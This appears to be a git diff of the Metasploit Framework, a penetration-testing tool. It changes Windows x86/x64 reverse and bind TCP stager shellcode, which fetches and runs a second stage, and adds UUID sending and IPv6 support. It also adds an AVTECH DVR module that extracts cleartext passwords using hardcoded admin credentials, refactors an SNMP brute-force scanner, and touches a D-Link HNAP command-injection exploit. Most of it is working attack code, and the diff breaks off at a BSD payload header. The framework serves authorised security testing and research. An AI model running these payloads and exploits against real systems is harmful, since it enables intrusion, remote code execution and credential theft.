--git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 921e787083..7b0968fe2d 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -4,7 +4,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Register reverse_http specific options diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 770effc317..360b690355 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -40,6 +42,14 @@ module Payload::Windows::ReverseTcp generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_reverse_tcp(opts) end @@ -72,6 +82,8 @@ module Payload::Windows::ReverseTcp # Reliability adds 10 bytes for recv error checks space += 10 + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -141,21 +153,21 @@ module Payload::Windows::ReverseTcp handle_failure: dec dword [esi+8] jnz try_connect - ^ + ^ - if opts[:exitfunk] - asm << %Q^ - failure: - call exitfunk - ^ - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end - # TODO: Rewind the stack, free memory, try again + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + # TODO: Rewind the stack, free memory, try again =begin if opts[:reliable] asm << %Q^ @@ -165,9 +177,13 @@ module Payload::Windows::ReverseTcp end =end - asm << %Q^ + asm << %Q^ connected: + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags @@ -176,18 +192,18 @@ module Payload::Windows::ReverseTcp push edi ; the saved socket push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + # TODO: Try again by jmping to reconnect + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE @@ -213,17 +229,17 @@ module Payload::Windows::ReverseTcp # TODO: Try again by jmping to reconnect if reliable asm << %Q^ - cmp eax, 0 - jle failure - ^ + cmp eax, 0 + jle failure + ^ end asm << %Q^ - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage - ^ + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ if opts[:exitfunk] asm << asm_exitfunk(opts) diff --git a/lib/msf/core/payload/windows/send_uuid.rb b/lib/msf/core/payload/windows/send_uuid.rb new file mode 100644 index 0000000000..94e0b09e8b --- /dev/null +++ b/lib/msf/core/payload/windows/send_uuid.rb @@ -0,0 +1,54 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Windows ARCH_X86 payloads +# +### + +module Payload::Windows::SendUUID + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the block API pointer is in ebp, and + # the communications socket handle is in edi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + push 0 ; flags + push #{uuid_raw.length} ; length of the UUID + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + push edi ; saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call ebp ; call send + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index e9a9633591..52e2cc352e 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::BindTcp_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -38,6 +40,18 @@ module Payload::Windows::BindTcp_x64 generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end @@ -74,6 +88,11 @@ module Payload::Windows::BindTcp_x64 # Reliability checks add 4 bytes for the first check, 5 per recv check (2) #space += 14 + # 2 more bytes are added for IPv6 + space += 2 if use_ipv6 + + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -86,8 +105,18 @@ module Payload::Windows::BindTcp_x64 # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_bind_tcp(opts={}) - reliable = opts[:reliable] - encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + reliable = opts[:reliable] + addr_fam = 2 + sockaddr_size = 16 + stack_alloc = 408+8+8*6+32*7 + + if use_ipv6 + addr_fam = 23 + sockaddr_size = 28 + stack_alloc += 8*2 # two more rax pushes + end + + encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ bind_tcp: @@ -98,58 +127,85 @@ module Payload::Windows::BindTcp_x64 sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData ; structure (+8 for alignment) mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. - mov r12, #{encoded_port} - push r12 ; bind to 0.0.0.0 family AF_INET and port 4444 + xor rax, rax + ^ + + if use_ipv6 + asm << %Q^ + ; IPv6 requires another 12 zero-bytes for the socket structure, + ; so push 16 more onto the stack + push rax + push rax + ^ + end + + asm << %Q^ + push rax ; stack alignment + push rax ; tail-end of the sockaddr_in/6 struct + mov r12, #{encoded_port} + push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port mov r12, rsp ; save pointer to sockaddr_in struct for bind call + ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this stuct push 0x0101 ; pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call rbp ; WSAStartup( 0x0101, &WSAData ); + ; perform the call to WSASocketA... + push #{addr_fam} ; push AF_INET/6 + pop rcx ; pop family into rcx push rax ; if we succeed, rax wil be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure xor r8, r8 ; we do not specify a protocol inc rax ; mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later + ; perform the call to bind... - push 16 ; + push #{sockaddr_size} pop r8 ; length of the sockaddr_in struct (we only set the - ; first 8 bytes as the last 8 are unused) + ; first 8 bytes as the rest aren't used) mov rdx, r12 ; set the pointer to sockaddr_in struct mov rcx, rdi ; socket - mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) - call rbp ; bind( s, &sockaddr_in, 16 ); + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} + call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} ); + ; perform the call to listen... xor rdx, rdx ; backlog mov rcx, rdi ; socket - mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call rbp ; listen( s, 0 ); + ; perform the call to accept... xor r8, r8 ; we set length for the sockaddr struct to zero xor rdx, rdx ; we dont set the optional sockaddr param mov rcx, rdi ; listening socket - mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call rbp ; accept( s, 0, 0 ); + ; perform the call to closesocket... mov rcx, rdi ; the listening socket to close mov rdi, rax ; swap the new connected socket over the listening socket - mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call rbp ; closesocket( s ); - ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations + ; restore RSP so we dont have any alignment issues with the next block... + add rsp, #{stack_alloc} ; cleanup the stack allocations + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length @@ -158,9 +214,10 @@ module Payload::Windows::BindTcp_x64 push 4 ; pop r8 ; length = sizeof( DWORD ); mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, &dwLength, 4, 0 ); add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length push 0x40 ; @@ -169,18 +226,21 @@ module Payload::Windows::BindTcp_x64 pop r8 ; MEM_COMMIT mov rdx, rsi ; the newly recieved second stage length. xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... mov rbx, rax ; rbx = our new memory address for the new stage mov r15, rax ; save the address so we can jump into it later + read_more: ; xor r9, r9 ; flags mov r8, rsi ; length mov rdx, rbx ; the current address into our second stages RWX buffer mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, buffer, length, 0 ); + add rbx, rax ; buffer += bytes_received sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 9462aa3f2f..47c333f020 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -4,7 +4,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp_x64 include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Register reverse_http specific options diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 110a3a1294..6be0bfdd1b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -47,6 +49,14 @@ module Payload::Windows::ReverseTcp_x64 generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + # # Generate and compile the stager # @@ -80,6 +90,8 @@ module Payload::Windows::ReverseTcp_x64 # Reliability adds 10 bytes for recv error checks space += 10 + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -112,17 +124,17 @@ module Payload::Windows::ReverseTcp_x64 mov r12, #{encoded_host_port} push r12 ; host, family AF_INET and port mov r12, rsp ; save pointer to sockaddr struct for connect call - ; perform the call to LoadLibraryA... + ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call rbp ; LoadLibraryA( "ws2_32" ) - ; perform the call to WSAStartup... + ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this stuct push 0x0101 ; pop rcx ; set the param for the version requested mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) call rbp ; WSAStartup( 0x0101, &WSAData ); - ; perform the call to WSASocketA... + ; perform the call to WSASocketA... push rax ; if we succeed, rax wil be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure @@ -134,7 +146,7 @@ module Payload::Windows::ReverseTcp_x64 mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later - ; perform the call to connect... + ; perform the call to connect... push 16 ; length of the sockaddr struct pop r8 ; pop off the third param mov rdx, r12 ; set second param to pointer to sockaddr struct @@ -143,7 +155,11 @@ module Payload::Windows::ReverseTcp_x64 call rbp ; connect( s, &sockaddr, 16 ); ; restore RSP so we dont have any alignment issues with the next block... add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length diff --git a/lib/msf/core/payload/windows/x64/send_uuid.rb b/lib/msf/core/payload/windows/x64/send_uuid.rb new file mode 100644 index 0000000000..f804d3ae0e --- /dev/null +++ b/lib/msf/core/payload/windows/x64/send_uuid.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::SendUUID_x64 + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the block API pointer is in rbp, and + # the communications socket handle is in rdi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + xor r9, r9 ; flags + push #{uuid_raw.length} ; length of the UUID + pop r8 + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + pop rdx ; UUID address + mov rcx, rdi ; Socket handle + mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call rbp ; call send + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 25 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + diff --git a/lib/rex/json_hash_file.rb b/lib/rex/json_hash_file.rb new file mode 100644 index 0000000000..00556efdfe --- /dev/null +++ b/lib/rex/json_hash_file.rb @@ -0,0 +1,96 @@ +# -*- coding => binary -*- + +require 'json' +require 'fileutils' + +# +# This class provides a thread-friendly hash file store in JSON format +# +module Rex +class JSONHashFile + + attr_accessor :path + + def initialize(path) + self.path = path + @lock = Mutex.new + @hash = {} + @last = 0 + ::FileUtils.mkdir_p(::File.dirname(path)) + synced_update + end + + def [](k) + synced_update + @hash[k] + end + + def []=(k,v) + synced_update do + @hash[k] = v + end + end + + def keys + synced_update + @hash.keys + end + + def delete(k) + synced_update do + @hash.delete(k) + end + end + + def clear + synced_update do + @hash.clear + end + end + +private + + # Save the file, but prevent thread & process contention + def synced_update(&block) + @lock.synchronize do + ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| + fd.flock(::File::LOCK_EX) + + # Reload and merge if the file has changed recently + if fd.stat.mtime.to_f > @last + parse_data(fd.read).merge(@hash).each_pair do |k,v| + @hash[k] = v + end + end + + res = nil + + # Update the file on disk if new data is written + if block_given? + res = block.call + fd.rewind + fd.write(JSON.pretty_generate(@hash)) + fd.sync + fd.truncate(fd.pos) + end + + @last = fd.stat.mtime.to_f + + res + end + end + end + + + def parse_data(data) + return {} if data.to_s.strip.length == 0 + begin + JSON.parse(data) + rescue JSON::ParserError => e + # elog("JSONHashFile @ #{path} was corrupt: #{e.class} #{e}" + {} + end + end + +end +end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 17ee24e02d..2ed0d19202 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -317,6 +317,11 @@ class ClientCore < Extension response = client.send_request(*args) mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID) + + # Normalise the format of the incoming machine id so that it's consistent + # regardless of case and leading/trailing spaces. This means that the + # individual meterpreters don't have to care + mid.downcase!.strip! if mid return Rex::Text.md5(mid) end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 3d78b292e3..654b44c5ec 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -52,6 +52,7 @@ class Console::CommandDispatcher::Core "machine_id" => "Get the MSF ID of the machine attached to the session", "quit" => "Terminate the meterpreter session", "resource" => "Run the commands stored in a file", + "uuid" => "Get the UUID for the current session", "read" => "Reads data from a channel", "run" => "Executes a meterpreter script or Post module", "bgrun" => "Executes a meterpreter script as a background thread", @@ -80,8 +81,6 @@ class Console::CommandDispatcher::Core # Migration only supported on windows and linux c["migrate"] = "Migrate the server to another process" - # UUID functionality isn't yet available on other platforms - c["uuid"] = "Get the UUID for the current session" # Yet to implement transport hopping for other meterpreters. # Works for posix and native windows though. diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 5b261dbf35..d64792775f 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0' + spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 41d93d8c7c..2736b60a4e 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 1.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '0.0.7' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.2' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler @@ -74,7 +74,7 @@ Gem::Specification.new do |spec| # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting - spec.add_runtime_dependency 'recog', '~> 1.0' + spec.add_runtime_dependency 'recog', '~> 2.0' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module diff --git a/modules/auxiliary/gather/avtech744_dvr_accounts.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb new file mode 100644 index 0000000000..ea39608764 --- /dev/null +++ b/modules/auxiliary/gather/avtech744_dvr_accounts.rb @@ -0,0 +1,110 @@ +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AVTECH 744 DVR Account Information Retrieval', + 'Description' => %q{ + This module will extract the accounts information from the AVTECH 744 DVR devices, + including all the usernames and cleartext passwords plus the device PIN, along with + a few other miscellaneous details. In order to extract the information, hardcoded + credentials admin/admin are used. These credentials can't be changed from the device + console UI neither the web UI. + }, + 'Author' => [ 'nstarke' ], + 'License' => MSF_LICENSE + )) + end + + + def run + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/cgi-bin/user/Config.cgi', + 'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};", + 'vars_post' => { + 'action' => 'get', + 'category' => 'Account.*' + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response received from the target') + end + + unless res.code == 200 + fail_with(Failure::Unknown, 'An unknown error occured') + end + + raw_collection = extract_data(res.body) + extract_creds(raw_collection) + + p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body) + print_good("avtech744.dvr.accounts stored in #{p}") + end + + def extract_data(body) + raw_collection = [] + body.each_line do |line| + key, value = line.split('=') + if key && value + _, second, third = key.split('.') + if third + index = second.slice(second.length - 1).to_i + raw_collection[index] = raw_collection[index] ||= {} + case third + when 'Username' + raw_collection[index][:username] = value.strip! + when 'Password' + raw_collection[index][:password] = value.strip! + end + elsif second.include?('Password') + print_good("PIN Retrieved: #{key} - #{value.strip!}") + end + end + end + + raw_collection + end + + def extract_creds(raw_collection) + raw_collection.each do |raw| + unless raw + next + end + + service_data = { + address: rhost, + port: rport, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: raw[:password], + private_type: :password, + username: raw[:username] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + end + end +end diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index be6480fd88..ec3cd19571 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Auxiliary Opt::CHOST, OptInt.new('CONNECTION_TIMEOUT', [true, 'The timeout value for each probe', 2]), OptInt.new('RETRIES', [true, 'The number of retries per community string', 0]), - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptEnum.new('VERSION', [true, 'The SNMP version to scan', 'all', ['1', '2c', 'all']]), OptString.new('PASSWORD', [ false, 'The password to test' ]), OptPath.new('PASS_FILE', [ false, "File containing communities, one per line", @@ -43,50 +42,42 @@ class Metasploit3 < Msf::Auxiliary deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE') end + # Operate on a single host so that we can take advantage of multithreading + def run_host(ip) - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i - end + collection = Metasploit::Framework::CommunityStringCollection.new( + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] + ) - # Operate on an entire batch of hosts at once - def run_batch(batch) + scanner = Metasploit::Framework::LoginScanner::SNMP.new( + host: ip, + port: rport, + cred_details: collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['CONNECTION_TIMEOUT'], + retries: datastore['RETRIES'], + version: datastore['VERSION'], + framework: framework, + framework_module: self + ) - batch.each do |ip| - collection = Metasploit::Framework::CommunityStringCollection.new( - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'] + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - scanner = Metasploit::Framework::LoginScanner::SNMP.new( - host: ip, - port: rport, - cred_details: collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: datastore['CONNECTION_TIMEOUT'], - retries: datastore['RETRIES'], - version: datastore['VERSION'], - framework: framework, - framework_module: self - ) - - scanner.scan! do |result| - credential_data = result.to_h - credential_data.merge!( - module_fullname: self.fullname, - workspace_id: myworkspace_id - ) - if result.success? - credential_core = create_credential(credential_data) - credential_data[:core] = credential_core - create_credential_login(credential_data) - - print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level})" - else - invalidate_login(credential_data) - print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" - end + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}" + else + invalidate_login(credential_data) + print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" end end end diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb similarity index 95% rename from modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb rename to modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb index 9ac06e2df9..0f001df572 100644 --- a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution', + 'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution', 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on a DIR-645 device. The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB, @@ -99,6 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote uri = '/HNAP1/' + # we can not use / in our command so we need to use a little trick cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`" diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index 732c7deb5e..ff4a2a4cf5 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Micahel Milvich', # vulnerability discovery, advisory + 'Michael Milvich', # vulnerability discovery, advisory 'Sofiane Talmat', # vulnerability discovery, advisory 'h0ng10' # Metasploit module ], @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Local def get_security_token(lenovo_directory) unless client.railgun.get_dll('tvsutil') client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll") - client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl') + client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl') end dll_response = client.railgun.tvsutil.GetSystemInfoData(256) diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb index 17eb2c5195..fb391f6b3d 100644 --- 